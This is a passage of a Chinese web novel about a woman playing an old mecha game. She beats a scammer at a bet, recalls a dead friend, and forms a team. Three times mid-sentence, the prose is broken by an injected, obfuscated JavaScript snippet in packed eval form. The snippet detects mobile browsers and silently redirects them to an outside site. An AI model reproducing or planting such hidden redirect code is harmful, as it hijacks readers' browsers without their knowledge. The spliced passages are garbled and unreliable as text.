传说内部有实验区，但整个E区都由军队管辖，平民没有资格进去，远远地看过去，什么都没有。 大家对这里的印象，就是荒无人烟。 诡异的是，林别歌她们往前走了几步之后，似乎撞到了什么不可见的屏障。 屏障带来微小的阻力。 她们尽力往前一推，像拔萝卜一样把自己从这道屏障上拔出。 身上传来“啵”的一声。 她们抬头一看，方圆大概一公里范围，都被一个带有光学迷彩的天幕遮盖着，所以从外面看不见内部的情况。 而天幕之下，地面无数排建筑，组成一个小城镇，和周围的沙漠格格不入，就好像凭空安在那里的。 最热闹的两条街道，周围满是摊贩。 摊位摆着发卡、马桶刷、二手衣服、模型枪……总之五花八门。 同一个摊位上卖的东西完全没有关联。 NPC店主似乎并不担心东西能不能卖出去。看到有人来，也完全不打招呼，翻个身继续睡觉。 一身黑衣服的商人看到她们，斜眼朝这边瞥，对上视线之后，又迅速移开。 给人感觉不像正经集市。 身后传来尖锐的鸣笛声。几人回头，一台木质大巴车从道路中间驶过。 摊贩们收竿，把头顶的顶棚收了回去。车就这样从狭窄的楼道间穿过。 南卦：“这是……黑市吧？” 陶影点头：“唔，算是。” “游戏内也有黑市啊？卖什么的？” 陶影：“绝版机甲零件，高强度武器之类的。身上携带的火种币足够多还可以进入售卖特殊武器的隐藏商店，不过限购，需要等每周刷新。听说初版游戏原本没有这个设计，是制作人员一时兴起加上的。” “对了，新手期有一些隐藏支线可以在这里触发。去银行之前，你们顺便去找NPC领个任务吧，后续集齐了有大额奖励。” “门牌号在A3-8。领完任务去A5-8，那里有任务线索。” 林别歌她们一起去了这个位置，果然找到了隐藏任务。 【是否接受任务：寻找火种-1】 【任务提要：你在黑市商人处买到一块奇怪的残片，据说是星舰的船长希拉·辛在太空流浪中写下的航行日志。虽然不知道是不是真的，但似乎值得一探？来试试收集吧！】 【当前收集航行日志残片数目：1/？？】 毽子头终于找到机会插话：“这个隐藏任务早就有人触发过了，不过很坑的，十几年老玩家组了个团，就为了完成这个隐藏任务，真的是游戏上上下下所有地图全跑遍了，最后找到碎片三百多片，结果还是不够。” “开服到现在都没有人集齐过航行日志的碎片。” 陶影微微一笑：“谁知道，说不定还有隐藏地图没开。” 林别歌左看右看，总觉得哪里不对劲。 “影子，你好了解游戏内容啊，以前玩过这个游戏吗？” “没有，我比较喜欢现实里找人玩游戏。” 是喜欢把别人当游戏玩吧？ 林别歌腹诽。 陶影：“任务做完了吗？” “拿到啦！航行日记，我看看。” 【太空航行第34天。】 【记录者：船长，希拉·辛。】 【记录内容：附近星球找到补给点，物资充足，星舰状态良好。590位乘客冷冻中，今日轮替船员10名，从冷冻舱清醒后，体质精神状态均良好。】 再往下看，内容没什么特别的。现实中也有这位叫希拉·辛的船长，她们小学课本上学过。 估计直接把实际的航行日志拿来用了。 像是为了补充世界观加进去的。 两位队友花了五分钟迅速拿到另一个任务线索。 转头看到毽子头还跟着，林别歌两手一拍：“对了，打赌，差点忘了。” 陶影指路：“火种银行在你们右侧第十三家店铺旁边的小巷。” 根据陶影的指路，她们来到一处隐蔽的小巷，角落里有个一米高左右的小门，破烂的招牌写着火种银行。 两位队友蹲下身，推开小门，林别歌因为身高太高，是趴着进去的。 进去后，两人都忍不住“哇”了一声。 内部的空间非常大，装潢华丽简直像帝国皇家银行一样，金灿灿的。 从外面完全看不出来。 大堂里满是办业务的NPC，走来走去。 她们一进来，就有专人询问办什么业务，得知是想要预支100万火种币，更是笑嘻嘻地带着她们到里面找客户经理。 林别歌不禁感叹：“我们家乡的银行排队两个小时可能都办不了业务，有钱真好啊。” 她捂着通讯器，转过头小声询问：“不过我们明明是来预支钱的，NPC为什么这么高兴？” “游戏设定而已，里面的NPC都有固定程序，不算太智能。” “游戏的大部分性能都留给了机甲。” 陶影淡淡地打了个呵欠，抬手砍掉一只盲蛛。 “火种银行也是官方的小彩蛋。”不过一般多周目的人才知道。 火种内部有极为完善的交易系统，会有人通过多周目，在世界交易系统高价倒卖机甲零件刷钱。 把钱存到火种银行里，再开新号买到好一点的机甲。 这样新号进入高级场战斗的时候，在新手保护区匹配到的对手更弱。爬单人天梯榜会更轻松一点。 当然，如果在火种银行预支了一百万，就算删号也要还的。 林别歌：“影子，你真的没玩过这个游戏？” “没有。” “那你怎么对游戏的隐藏内容知道得这么清楚。” “唔，星网上碰巧刷到过相关攻略。” “真的？”林别歌摸了摸下巴。感觉这人语气不对，像是在糊弄她。 算了，反正影子作为队友，坑她们也不是一次两次了，大不了就欠一百万呗。 林别歌：“不过和我们打赌那男的，刚刚说他是新人。听你的说法，他像是老玩家啊，总感觉居心不良，真的要跟他赌？” 陶影：“居心不良不是更好吗。” “？” “我们就可以放心大胆地下黑手了。” 队友：“……” 陶影拍拍耳麦：“放心，我心里有数。” “那好吧，听你的。” 很快她们就办完业务拿到了钱。 陶影操作机甲左移了一下，熟练地避开第七只盲蛛的攻击，找到路线绕到第八只盲蛛的背后，一刀毙命。 【已超时，任务进度清零。】 【重新开始新手教程。】 【当前击杀数：0/10。】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709385|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资源加载中。】 陶影深呼吸几口，正好听见那头的林别歌和南卦在讨论——她这场打赌是不是意气用事。 “不像，都没见影子生过气，宿舍楼塌掉的时候她甚至还在拍照。” “对啊，转头开始申请赔偿。” “我觉得她应该是认真想赢。” “虽然感觉她会输，但我愿意陪她玩一把！舍命陪室友！” 这是林别歌。 陶影失笑，她按住耳麦：“谢谢两位室友，不过你俩下次密谋的时候小声点，我全听见了。和你们打赌的人呢？” 毽子头把头凑到林别歌这里，阴阳怪气让陶影不要再拖累她的队友了。陶影看到这个人遮遮掩掩的样子，突然眯了眯眼睛。 像在想什么坏主意。 “你刚刚说的赌一百万火种币，用竞猜系统设置好，我确认一下。” 《火种》内有竞猜系统，一开始用于官方比赛的有奖竞猜。 后来因为民间也有不少团队自发组织比赛，所以官方将权限下放，普通玩家也可以用竞猜系统来为比赛胜利投注。 两人的手已经按在领任务的界面上，陶影突然叫停。 “等等，任务奖励再加一个，就赌我的机甲VX-89。” “啊？”南卦再次确认任务条件：“这，这东西也能交易吗？难道不是新人强制绑定的任务道具？” 是的，每台新人的初始机甲都会绑定上她们的帐号，哪怕和别人交易了，不管转卖多少次，上面都会有初始者的名字。 绑定，但不是强绑定。 “当然可以交易，《火种》的交易系统非常自由。” 陶影露出一个不易捉摸的笑容。 “至于你，既然我们这边赌上三台机甲，你总得有点表示吧？加点筹码？” 毽子头一副无所谓的表情，加上了机甲：“当然，我也赌上我的机甲，再加上两百万火种币！” 【挑战内容设置为“用户S将在十局内通过新手教程”。】 【A方，火种币：300万。机甲：晨风一台。】 【B方，火种币：100万。机甲：VX-89三台。】 【系统已录入。】 【挑战限制时间在一天内，请用户“S”及时“在十局内通过新手教程”。】 【挑战结果将由随机抽取的评审团进行最终评估。】 【十位评审团随机抽取中…………抽取成功。】 挑战系统上的内容是公开的，大家可以自由围观赌局内容。 因为这些年《火种》的热度已经下去，搞挑战活动的人很少，所以陶影的赌局一放上系统，除了自动抽取进入的评审团，房间内还涌入好几位观众。 【哇，是活的新人！】 【小心点，别把萌新吓跑了。】 【我看看，赌局内容是什么，十局内通关……新手教程？啊？】 评审团一时大受震撼。 谁家好人十局都通关不了新手教程啊？ 有人看了一眼陶影的基本数据。 【破案了，挑战者的体质是E。这是哪个大佬在录整活视频吧？】 【那也太拼了。之前有排行榜前三的大佬录过体质D的通关视频，那叫一个艰难啊，凹了差不多一个星期吧，都凹吐了。最后粉丝说让他再录一下/体质E的新手教程通关，被他放话说“不可能，你要是做到了，我给你打一百万星币，星币哈，不是火种币”。】 【是的，因为这件事，游戏社区还流行过一个表情包：“问我有多强？我靠体质E通关火种新手教程.jpg”。】 【总之，体质E怎么可能通关啊。散了散了，回家吃饭。】 几位观众退出了房间。 毽子头看着南卦和林别歌，露出了志得意满的笑容。 她们输定了。 火种内删号重开，其它东西可以重置，但火种银行内的金钱是绑定身份，强制继承的。一旦背上一百万的债务，得花上好久的时间还，可以说号基本废了。 毽子头低头，截了个图，在小群里给朋友发了消息。 “又有新人上钩了哈哈。” “大哥厉害啊！又骗到一个！她们待会赌输了就该哭喽。” “这次好玩了，我倒要看看她们怎么慢慢还这些债务。” “看她打得这么艰难，删号重开还得再过一次新手教程吧，哈哈，真可怜。” 37. 第 37 章 “也不一定啊，说不准她过不了新手教程。” “这么说来，我们还算做了好事，帮助她认清自己的能力，毕竟不是每个人都适合开机甲的。” “哈哈哈。” 小群内一阵嘲讽的笑声。 …… VX-89机体在空中利落地旋转了一圈，又解决掉两只盲蛛。 陶影看了一眼时间，过去四十五分钟，击杀数6/10。 接下来的四只盲蛛，是最难啃的几只，它们的智能更高，会团体合作。 陶影的身体已经开始疲累，她找到安全区，先缓了五分钟。 休息结束，陶影被两只虫族夹击，逼出安全区。 向下躲的时候，右手失力，汗水滴落，握住操纵杆的手打滑一下。角落里，一只螳螂形态的虫族举起镰刀状的手，砍掉驾驶室。 ……怎么还随机演算到稀有怪了。 眼前突然一片漆黑，驾驶舱发生爆炸，火焰在眼前燃烧，热浪扑面而来，陶影的痛觉神经在疯狂刺痛，十秒后，她又重新出现在复活区。 陶影浑身全是冷汗，五分钟过去，身上的灼烧感才逐渐消散。 距离第九局开始还有两分钟，陶影按摩着酸痛的右手，暂时躺在了椅背上。 她已经连续打了六个小时。 但精神力状态还好。 如果是在游戏外进行同等强度的锻炼，估计第一把还没打完她就光荣地进入医疗舱了。 在没办法实机练习的情况下，《火种》对她来说，是非常好的训练工具。 …… 赌局进行期间，一直不断有路过的好奇观众进入房间。 【什么情况？谁家组织的小型赛事吗？】 【不像哎，两个新人在打赌。】 【都是新人？完了，不会又是那帮专骗新人的垃圾吧？当初我年少无知和他们开赌局，背了一百万的债务，删号重开好多次，就为了开局刷钱，差点没给我刷吐了。】 【不过至少可以删号重开……等下，这个新人怎么把她的机甲也赌上了啊？！她疯啦？！】 【赌上几台VX-89而已，有什么问题吗？】 【删号重开后，系统会自动选择上一局价值最高的一台机甲继承，对新人来说就是初始机甲。如果删号前背包里没有机甲，那开局的时候就是空手。】 【所以对新人来说！一旦失去这台机甲！就代表着她删号重开之后，面临的是手撕虫族！】 【再加上她们这一百万的债务，号彻底废了啊啊啊啊！】 林别歌看完房间里的交流，发出“嘶”的一声。 南卦握紧了拳头：“那个毽子头果然不是什么好人。” 【这个骗术已经很多年了，能上当看来是真新人，哎，希望她们不要因为这个对游戏产生不好的印象。】 【没办法，海台科技这几年走下坡路，走了不少人，我朋友说火种还在运营就不错了，赚不了钱，还得倒贴，几乎没人维护。】 新手教程，主角的血条根本不会归零，只要在规定时间内打完就可以，这位新人竟然因为超时，连续重开了七把。 她的极限应该就在击杀八只了。肯定赢不了。 十位评审团成员开始提前为陶影叹息。 南卦点开聊天窗口，反驳：“你们凭什么说她一定会输？” 林别歌也在房间里发言替陶影说话，但她心里也打鼓。 “影子要是真输了怎么办。” 南卦：“以我的直觉判断，小影不会随便拿她没有把握的事情打赌。她这么冷静，心中有数，倒像在……” 林别歌接话：“倒像在谋划一些缺德事？” 南卦点头。 果然如评审团所说，第九局陶影根本没有让击杀率加一。 仍然是8/10。 大家判断她的体力已经到达瓶颈，这场对赌输定了。 在第十局开始前陶影准备了很长的时间，大家都有点不耐烦。 【让她直接认输算了。早知道就不报名评审团了。】 【我在八时区，先去吃个饭，回来再看结果啊，88。】 【我在十二时区，睡一觉先。她准备好了叫我。】 陶影她们所在的切斯特星时区，最后只剩下七八个人观战。 林别歌不服气道：“还没到最后呢。” 评审团：“哎，有时候承认自己的不足也是进步的一环……” 然而第十局一开始，陶影的行进路线和之前的九局不一样，完全变化了。 评审团本来都有点困，看到她那不走寻常路的路线，一下子清醒地立正。 【她往下走了？这是变换了策略？】 【等下，她刚刚那一刀，跟之前的动作完全不一样！她砍掉了两只盲蛛！厉害啊！】 大家还没来得及惊诧，就看见陶影机甲扒在太空坞站的光能板上，转身将三只盲蛛齐齐切成两半！ 而这时仅仅过去了五分钟。 五分钟，她干掉了五只E级盲蛛！ 这意味着，她只需要在剩下的五十五分钟内，干掉另外五只，就能赢！ 大家逐渐兴奋起来。 【有机会！上啊！】 【燃起来了。】 【等下，她后退了！为什么？这里明明是个很好的攻击点！】 下一秒，陶影的动作给出了回答。 她轰掉了太空坞站的重力环，将半圆形的碎片一脚踢过去。 又干掉三只！ 剩下两只盲蛛因为重力环的缺失，突然失去平衡。 陶影借坞站外壁的反作用力，往太空中一弹。 红色的VX-89，划破天际，来到两头盲蛛中间。 她抬手，一刀划出。 收回时，两头盲蛛腹部的酸液爆出。 【击杀数10/10。】 【您已完成新手教程。】 【恭喜获得隐藏成就：体质E模式下，十分钟内通关新手教程。】 【获得成就奖励，火种币x500000，航行日志碎片x1，特殊道具：不知道哪里的钥匙x1。】 “呼。”陶影看了一眼左上角的时间。 十分钟。 这是她体质的极限。 陶影敲敲耳麦：“收工啦，队友。” 观众：“……” 刚刚发生了什么？ 体质E，她竟然十分钟就过了新手教程！ 那她之前磨磨蹭蹭，打到超时都过不了关是因为什么？好玩吗？ 评审团有人激动道：“刚刚有人录视频了吗！发我！有用！！” “我有我有。” “私我私我。” 这人收到视频，兴冲冲跑点开星网直播，进入游戏区，找到他关注的主播，发了条SC。 这位主播是机甲游戏区的大佬。 在《火种》的个人天梯榜排行第三，所以给自己取名万年老三，这么多年换了不少圈子，还是留着这个ID。 虽然《火种》的系统和主题非常迷人，但机甲的更新换代也很快，《火种》停更多年，已经跟不上时代了。 老三正在播其它机甲游戏。 他念：“感谢用户小鱼干的一条SC，‘老三，有人体质E通关了火种的新手教程’。……？” 直播间正在播其它机甲游戏，骤然出现《火种》两个字，观众都是一头雾水。 万年老三语气略有些无奈。 “体质E都多久以前的梗了，本来以为你是新观众，但你的粉丝牌又是‘万年老粉’，你究竟什么成分？” 小鱼干急了：“不是啊，老三，真的有人过了，不是玩梗，还是新人，你看看私信，我给你发了视频！” “怎么可能。照数据算下来，那个概率是亿万分之一。” 除非操纵的精确度极高。 但哪怕是天梯榜排行前两位的人，都不一定能做到。何况是新人。 老三完全不信，但小鱼干是老粉了，老三也想看看他究竟发了什么视频，于是暂停了一下游戏，点开粉丝私信。 他一开始不以为然，看了两分钟之后眉头逐渐皱起，在看到陶影一刀砍爆三只盲蛛腹部后更是惊讶得嘴巴都合不拢了。 “竟然是真的？？” 这个视频肯定能火！ 老三思考了一下，迅速把视频放到直播间。 果然两分钟后，弹幕瞬间飞过满屏的问号，直播间涌入了大量的新观众。 【WTF，这合理吗？？】 【肯定我今天熬夜出现幻觉了。】 【这视频P的吧？】 【不行，我要把尘封多年的火种翻出来围观一下。】 一群观众挤进火种的小服务器，差点把服务器挤爆了。 但因为赌局已经结束，“用户S”还在新手保护期，无法靠道具锁定位置。所以他们没能找到这个传奇“新人”的身影。 大家都非常遗憾。 晚间，正是大家看直播入睡的时候，但现在他们都睡不着了。 视频很快传开，在机甲游戏区各大主播的直播间内不停播放。 一群人开始分析，这个视频究竟是不是假的，而视频中这个“用户S”，究竟是排行榜上哪个大佬的马甲。 陶影对此一无所知，她来到新手大厅，和队友击掌。 【评审团评审成功。10：0票。A方获胜。】 【用户“S”、“南瓜”、“林比格”获得机甲晨风一台，火种币三百万。】 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714129|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的头上跳出+3000000火种币的字样。 队伍背包里也多了一台机甲。 晨风，狙击型机甲，她们用不上。陶影迅速把晨风挂上了交易市场，换了十万火种币。然后挑了一些机甲武器，给队伍配上。 抬头一看，毽子头正在愣愣地看着他的账户余额，看向陶影的那张脸，简直恨得牙都咬碎了。 陶影露出魔鬼般的微笑，似乎对这个结果早有预料。 她笑着拍拍毽子头的肩膀。 “承让。开局欠债三百万火种币，想必也是一种非常独特的体验，加油。” 她的加油在毽子头听来只是嘲讽。 “滴滴——” 闹铃响了，陶影她们退出了游戏。 而游戏里的毽子头还在发疯。 因为他刚刚才知道，按照火种的系统规则，开局如果在赌局内输掉默认机甲，下一次删号重来，就需要手撕虫族！！ 他的号废了。 “那个叫“S”的用户，临时说要赌上双方的机甲，她肯定是知道这个规则，所以故意的！！！” “这个人不简单，我们一开始就不应该把她当作是新人放松警惕。” “太恶毒了！” 小群里一片骂声。 他们是现实生活中的loser，游戏里也打不过别人，只能以欺负新人为乐，让不少新人删号、甚至产生精神创伤。 现在被人以同样的方式报复回去，就受不了了。 但他们是察觉不到这种行为有什么不对的。 所以毽子头心想，没关系。他有的是帐号，他换个身份ID，一定要报复这个用户“S”。 但第二天，毽子头点开群，发现小群里所有人的帐号都被封了。 而《火种》所属公司的总裁，竟然发布了公告。 @伊琳娜：昨晚收到一封邮件，发信者说《火种》内一直有一群人，在恶意排挤欺骗新人，并以此为乐。很多人投诉过，但问题迟迟没有得到解决。我很惊讶，开服这么多年的老游戏竟然还会存在这种现象。今天已经找技术人员统统封号了，并且锁定了用户的星网地址，见一次封一次。大家以后不用担心了。[比心][红酒杯] 评论区一片叫好。 【啊啊啊终于处理了，总裁你活了，我都举报他们好多次了！】 【谁给总裁发的邮件，我要给她打钱！】 【估计是业内人士吧？哎，总之大快人心！】 @伊琳娜：对了，还有一件事，想必大家都知道了，但我还是分享一下。*分享视频*昨天有一位新玩家，以体质E，在十分钟内通关了新手教程！拿到了隐藏成就！这在我们游戏的数值设计下，几乎是不可能完成的任务。没想到这么多年以后，竟然有人通关，我真的十分感动。 @伊琳娜：唉，抱歉，说得有点多，可能今天喝了点酒。 @伊琳娜：我们《火种》当初是一个很小的团队，大家都是怀抱着梦想来做游戏的。 @伊琳娜：《火种》的主程序已经去世很多年了，我很想她。 伊琳娜一连发了很多条，虽然海台科技没以前那么厉害了，但伊琳娜作为海台科技的总裁，依旧是星网顶流。 她这几条，直接上了星网热搜。 #伊琳娜怀念《火种》主程序师# 林别歌奇怪地转过头：“她说的这个程序是谁啊？” 陶影顿了一下，点头：“陶影吧。” 林别歌：“啊！你说陶影啊！” 陶影奇怪道：“你知道？” 感觉林别歌能在星网上获取的，肯定不会是什么正面的信息……多半是什么“剽窃下属研究成果”，“违规售卖机密数据”。 但林别歌的回答有些出乎她的意料。 “我知道，陶影和伊琳娜是朋友。” …… 朋友。好朴实真挚的词语。 但也不能算说错。 伊琳娜的确是她为数不多几个可以信任的朋友之一。 海台科技其实也有她一部分股份。 至于火种的制作团队，一开始只有她和伊琳娜两个人。 可能是看到伊琳娜刚刚的话，陶影还真有点怀念起那段时光。 陶影眼神变得有些慈祥，她问林别歌：“不过你怎么知道她们是朋友？” 林别歌满不在乎道：“伊琳娜自己说的啊！说她跟陶影大学时候就认识了，认识的经历也非常传奇，她们两个在同一个夜晚翻墙出学校，结果正好撞上了。” “她还说，陶影那天翻墙，是去给初恋买生日礼物……哎影子，你脸色怎么突然这么奇怪。小叶？小叶你怎么宕机了？” 陶影、叶行晖：“……” 好的，现在她们不是朋友了，谢谢。 38. 第 38 章 给初恋买生日礼物？那不是。 陶影大学期间，天天忙着挣钱和参与各种学校的比赛，做《火种》期间更是忙得焦头烂额，在学校、工作室、医院三头跑，每天只睡四个小时。 她那时候脑子里没有初恋，只有初赛跟初稿，谢谢。 陶影看了一眼时间，这个时候，通常小叶会来叫她早点睡觉不要熬夜。 今天怎么消失了？ 陶影在屋子里找了一圈，最后发现智能管家背对着她，坐在走廊的角落。 她上去敲了敲智能管家的头，但它没有反应。 陶影奇怪地道：“零件又卡壳了？我之前明明检查过了啊。” 掏出工具箱，下掉螺丝，打开智能管家的胸腔，从里面掏出零件，一个一个重新检查之后…… 发现是电池又没电了。 怎么用电量这么大。难道是最近天气太热，电池损耗过快？ 而莱门市的另一边，白色博美犬跳到少年的头顶。 “哟，Dust，怎么突然机器过热，你在计算什么东西？” “我在计算小影的初恋究竟是谁，”Dust两眼放空，“本来以为是尤里斯·爱荷华，但小影和他大学的时候没有交集。我想想，首先排除伊琳娜，车晓理，龙嘉木，还有小影的监护人……” 博美：“……” 连监护人都纳入考虑范围内，就没考虑过是自己吗？ 博美：“有没有一种可能她初恋就是你？” 黑金色机器轰鸣了一会儿，停止了计算。 Dust低垂下头：“小影对我第一印象应该挺差的。” · 陶影对叶行晖的第一印象还不错。 虽然叶行晖因为生病，浑身上下裹得严严实实，但露出来的那双眼睛非常清澈漂亮。 不过他们初遇的场合确实有点特殊。 是莱门市的一所医院。 那天陶影心情不好，所以一路从病房走到顶楼，想吹吹冷风。而她一推开门，就看到一位纤瘦的少年坐在医院的天台上。 少年一身黑。 帽子紧紧压在头上，口罩遮住半张脸，额间两缕碎发随风飘动。 他的眼神平静得像一潭死水。 从楼顶朝地面沉沉地望着。 死亡对他来说，似乎是甜美的深渊，随时都在诱惑他向前一步。 陶影靠在墙边观察了一会儿，最终还是开口。 “嗨。这个高度，跳下去死不了。” “——考虑到你站在切斯特星医疗技术最顶尖的医院顶楼。” 少年蓦然转过头，沉寂的眼神中终于出现一点波澜，他像做了什么错事被人发现，迅速爬下来，改口说自己也是想吹吹天台的冷风。 “谁信啊，你不就是想死。” 少年：“……” 后来陶影因为经常去医院，两人莫名撞见好多次，就熟悉了起来。 陶影了解到，少年叫叶行晖，因为染上一种无法完全治愈的特殊疾病，从出生开始，就一直在各个医院辗转。 叶行晖的病情一直在恶化。每天他都手握日记，写下新一天的遗言。 某天，他轻轻扯下口罩，露出底下苍白的皮肤。 “小影，我好像活不过今年春天了。” “明天是我生日。”少年面露腼腆。 “所以你能不能帮我买到《海，宇宙，与尘埃》的珍藏导演签名版录像带？要是来不及，烧给我也行。” 且递出了他的全部积蓄。 陶影：“……” 那她还能说什么。 陶影那天翻墙出学校，就是去买这卷录像带。 之后发生了一些意外，陶影没有去医院的理由了。 而最后一次见到少年——依旧是在天台上。 他死了。 冰冷的雾气哈在金属仪器上，陶影的手覆在少年的双眼，护士慌乱地追赶上来…… 陶影平静地看着那台毫无反应的金属仪器。 哦对，就是那台能把人的意识转化为电子信号的仪器。 不久前帮陶影赛博转生的那台。 但少年没有那么幸运。 仪器显示，叶行晖的意识并没有成功提取，也没有转化成电子信号。 少年消失在了宇宙的洪流中。 从此再也没有出现过。 唔，那是一段比较复杂的回忆，感觉很难说。初恋……初恋啊。 陶影从回忆当中回过神。 人们喜欢把在同一个人身上花了很多时间，又得不到回报的行为叫做喜欢。 那她管他叫初恋也很合理吧？ …… 陶影很快在游戏内通关了剧情前几章，解锁了组队副本功能。 火种内部，除了单人的天梯榜，还有3V3的组队排行榜——战术小队榜。 每个队伍的队员都是固定的，不能更换。 陶影把两位队友拉到同一个房间，点击组队。 “请输入队名”的输入窗口底下是一串加黄的大字警告。 【重要提示，队名修改需要10000000火种币，且一年只能更改一次，请谨慎填写。】 陶影转头询问：“我们队名取什么？” “要不带我们三个的名字，一人一个字吧。陶影、南卦、林别歌……” 林别歌举起手指：“就叫南方影视歌舞有限公司！” 陶影、南卦：“……” 倒也不必强行把名字全凑进去。 大家纠结了很久，准确地说，只有林别歌和南卦在纠结，这个名字究竟是取文艺一点，还是好笑一点。 陶影看了一眼电视上的广告，正在播放电影《太空女鬼·六》的制作访谈。 随口道：“要不就叫太空女鬼队吧，正好我们三个都是女的。” “这算什么理由？” “不过你说女鬼，确实有点道理。” 林别歌思索了一下。 影子，脸色苍白下一秒仿佛就要去世，南瓜，第一次见面就坐窗台上想去死。 她俩非常适合女鬼的形容。 这时，电视上正好在介绍电影里的几只“女鬼”。 南卦也点头表示赞同：“确实，不觉得我们仨很像太空女鬼六里的女鬼团吗？一个核心头脑，一个精分，一个负责搞笑。” 林别歌指了一下自己：“核心头脑跟精分的部分我姑且不反驳吧，但说我负责搞笑是什么意思？我好笑吗？” 陶影和南卦都直直地看着她。 陶影微微一笑：“一切尽在不言中。” 林别歌：“……” “我看你言得挺开心的。” 最终，林别歌的微弱反抗失败，队名定为“太空女鬼”。 系统弹出提示。 【请确认以下信息无误：】 【队伍成员：S、南瓜、林比格。】 【队伍名称：太空女鬼队。】 【确认】/【取消】 陶影点击确认。 现在她们可以在新手场进行3V3的组队战斗了。 她们三人摩拳擦掌，十分兴奋，用传送道具来到机甲赛场。 输入报名信息后，系统迅速完成匹配。 六台机甲从高空投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725427|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放。 她们驾驶着VX-89稳稳落地。 系统开始播报比赛信息。 【太空女鬼队VS入场即巅峰队】 【比赛开……比赛结束。】 观众：“？” 陶影：“？” 林别歌：“我们刚刚是被秒杀了？” 陶影一拍脑袋。哦，差点忘了。 “火种没什么新人，新人场里很多是多周目爬榜的大佬队。被秒杀倒也很正常。” 一看对面名字就知道，入场即巅峰队。 他们的机甲，已经是新人能用的最好的机甲了，而武器更是游戏内顶尖。 她们刚才似乎是被一炮全轰没了。 又扫了一眼报名队伍，新手场对她们来说似乎还太早了。 “事已至此，先去副本练练手吧。” 陶影迅速根据副本难度找出几个适合她们现在打的，刚刚走出赛场，就听见后面有人叫她。 “哎，那个谁，你等等！” 两个人追了过来。 陶影回过头，看了一眼她们头上顶着的昵称。 是入场即巅峰队的队长，叫“猫核”，旁边还跟着她的队友，叫“酪鼠”。 猫核酪鼠……猫和老鼠？ 名字挺有年代感的。 不过她们不是忙着爬榜吗？追出来干什么？ 猫核顶着一头七彩色的头发，十分显眼的冲了过来，无关路人都忍不住朝这边多看了一眼。 “哎！你，你是不是那个新人S，就是十分钟通关新手教程，拿到隐藏成就的那个！你那条视频，整个机甲游戏圈都传爆了啊！” 猫核面色激动，突然抓住陶影的手。 “对了，你拿到隐藏成就的奖励是什么？” 说完，猫核似乎是觉得自己有点太热情太吓人了，又不好意思地收回手，开始解释。 “哦你不要误会，我就是对火种世界观比较感兴趣，听说成就奖励里有航行日志的碎片，想看看日志内容，不是想抢你东西。” 陶影没什么表情：“有倒确实是有……” 陶影从背包里拿出一张老旧发黄的纸片，递过去。 猫核惊喜地拿着左看右看：“啊啊啊果然是！谢谢你！我能拍张照发到论坛吗！” 她说的应该是《火种》资深爱好者的论坛，里面不仅有帮扶新人的老队员，还有各种地图攻略，手把手教的副本攻略。 另一边，也活跃了不少考据党。 他们考据了航行日志的内容，总结出来，还缺3条。 “我记得课本讲过，这个日志原本就缺了3条？可能游戏内没有做吧。” “但我们现在找到了缺失的三分之一！”猫核举着陶影给她的航行日志碎片，“说明我们的猜测是对的，剩下几条我们迟迟没找到的，是火种的开发者自行编造的，肯定跟火种世界观的根源大有关系！啊，抱歉，你们不感兴趣吧。” 猫核不好意思地收敛住话题，兴冲冲加上陶影的好友，就把她拉进群里，还大手一挥，非常豪气地又给陶影她们送了一点装备。 陶影看了一眼，的确是VX-89能用上的装备，虽然谈不上特别贵，但很有用。 看来猫核对老式机甲很了解。 “还有这两百万火种币，你们拿着买点新手装备，好爬战术榜！如果还有其它日志碎片，欢迎找我，有大额回报！” 说完，猫核酪鼠二人组飞快冲回赛场，继续爬榜去了。 “那我们现在干嘛？” “去打副本啰。顺便看看能不能在副本地点找到日志碎片什么的。” 陶影摊手。 39. 第 39 章 副本所在地比较特殊，不能使用道具传送，需要在卡索涅尔星乘坐星舰，跃迁后才能到达。 陶影果断买了票。 她慵懒地躺在座椅上，抽出椅背上的旅游传单封面。 上面写着目的地的介绍。 “弗拉姆星，第二星系有名的熔岩行星，有峡谷、盆地、裂谷等地带，地形多样。” “表面温度在300~900度不等，不适宜人类居住。” “嚯！”南卦和林别歌好奇地趴在穿梭舰的窗边，往下看。 弗拉姆星半个星球的表面，都被滚烫的岩浆覆盖，时不时还有活火山喷发。 星舰喷射出气体，远远绕过了活火山位置——火山喷发的碎屑吸附在舰体表面，会极大增加星舰机械故障的概率。 如果搅入发动机，甚至可能导致星舰沉没。 星舰很快停泊到港口，陶影她们换乘成了更小号的穿梭舰。 穿梭舰载着陶影，来到温度相对较低的盆地区域。 冷却后的岩浆，形成的黑色层，拥有各种奇特的形状。 有像是一群人在火海中挣扎向上爬的地狱景象。还有一处像是手掌托向天空。 有点诡异的美感。 